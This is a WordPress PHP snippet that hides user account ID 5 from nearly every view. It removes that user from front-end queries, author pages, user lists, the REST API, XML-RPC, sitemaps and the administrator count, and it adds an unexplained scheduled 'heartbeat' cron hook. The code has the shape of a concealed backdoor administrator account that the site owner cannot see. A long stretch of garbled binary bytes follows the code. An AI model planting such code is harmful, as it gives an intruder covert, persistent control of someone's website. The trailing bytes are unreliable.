add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎r6w(7P*Ct`f0`x+c oIVV*LRRWg7ko~_c""%JΪdpҗq?~WnYrsZ?Yӟ~og?ct_}n;Z<_ׇ՟?^fʽ;VMp~]SjWݭW?lʥpUWPC5xOlF3l~hwv~ji}Շm{Ob-7͗rçzw<y#G#nr= Is&ܕ1hG.*䛸wv7҃:bTapB@o'Ta4|,玬OFN@sm1콊<6%'⾌7FrUpslB> ٱwc
1
FHgut9wpA2
7
) qy1>;O/XGw{pc
d˪=FNg{>~
A{Cнcud}Gy;oм`FN
9qlW9z5msߎw$QoutN!ߎ7Oۣ>qO"jn5I\ӏ&EczH/mqp2OY;z+pjBpz-I{HlR;!(Brd#xmBGՠO?%8
ϡϔAyA Iru3eJp)Ps<`iL4A;%8ylh"GEÜC'@֡JYy
'ǐBqIWհ1!
/IIZ#=.FO,bXR^Yͣŕ= 9o~"W;NЏa¤p$s'iF*jpVHߪd|8H#K^y+,5:p`kRpt8Ձh[ENgqD5sYjwX8J۔ԭG;Ta9 dss2$pXшJLr?jpK9LqdPn⺑uupd9+,u;pp?\9)x^sKIs72gϭ4ՁOUz@*a7&w>u z#C=8D24R:aK'Tsy$ǃ0\4-y©#\0hNKطX^OKNw %7xSUUM'f9YӉR?lOK^q(yC
Ӓc, 9p#[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